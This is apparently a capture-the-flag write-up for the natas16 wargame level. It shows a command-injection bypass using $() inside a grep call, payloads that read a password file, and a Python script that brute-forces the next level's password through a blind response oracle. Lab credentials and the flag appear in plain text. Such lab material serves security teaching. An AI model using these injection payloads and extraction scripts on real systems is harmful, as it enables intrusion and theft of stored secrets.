Command Injection-----Write up for natas 16
Command Injection--Write up for natas 16
Problem: find the password of natas17.
The url of this problem is 'http://natas16.natas.labs.overthewire.org/'

Step 1: view the source code
- As we can see that, if any of the following characters are found in the input we provide to the form: ; | & ` ' ", the 'preg_match' function will filter the request and print "illegal match", this request will not send to the server.
"grep -i \"$key\" dictionary.txt"
- \"$key\" : \" means it will escape " so that our input will turn to be a string.
But the good news is that it didn't filter the '$', so we can still use "$(command)".
Then we try to check it, luckily it works! It demonstrates that 'aa' is in 'dictionary.txt', meanwhile '$(echo aa)' returned 'aa' and executed successfully.
If we try to get the password stored in the '/etc/natas_webpass/natas17', like this:
“cat /etc/natas_webpass/natas17"
This string will also 'grep' in 'dictionary.txt'
it will be like this finally:
grep -i "$(cat /etc/natas_webpass/natas17)" dictionay.txt
We know that it is impossible to find the flag in the 'dictionary.txt', so it will return no output.
Step 2: concatenate a string within the 'dictionary.txt' with the flag.
As we test 'aa' before, there is a word 'aardvark' in the dictionary. Relatively, If we concatenate the flag with this word to grep in the 'dicitonary.txt', it will return no output.
grep -i "$(cat /etc/natas_webpass/natas17)aardvark" dictionay.txt
So we can do brute force to find the flag from the first to last one. If the there is not output, that means the character we iterated is in the flag. 'password' is the part of the flag we have got, and the 'char' is the character we are brute forcing now.
grep -i $(grep ^'+password+char+' /etc/natas_webpass/natas17) dictionay.txt
Step 3: write the script to iterate:
We have to iterate all the upper and lower alphabets and digits, so we import 'string' library. To send a http request, we import 'requests' library.
import string
import requests
characters = string.ascii_letters + string.digits
url = "http://natas16.natas.labs.overthewire.org/"
auth_username = "natas16"
auth_password = "WaIHEacj63wnNIBROHeqi3p9t0m5nhmh"
password = ""
passlength = 32
exists_str = "aardvark"
# go through the loop till password is 32 characters long and then go into the loop passing all characters
while len(password) != 32:
for char in characters:
uri = ''.join([url+'?needle=$(grep ^'+password+char+' /etc/natas_webpass/natas17)&submit=Search'])
r = requests.get(uri, auth=(auth_username, auth_password))
if exists_str not in r.text:
password += char
print("Password: {0}".format(password))
Step 4: run the script:
it will take a little time:
the flag is 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw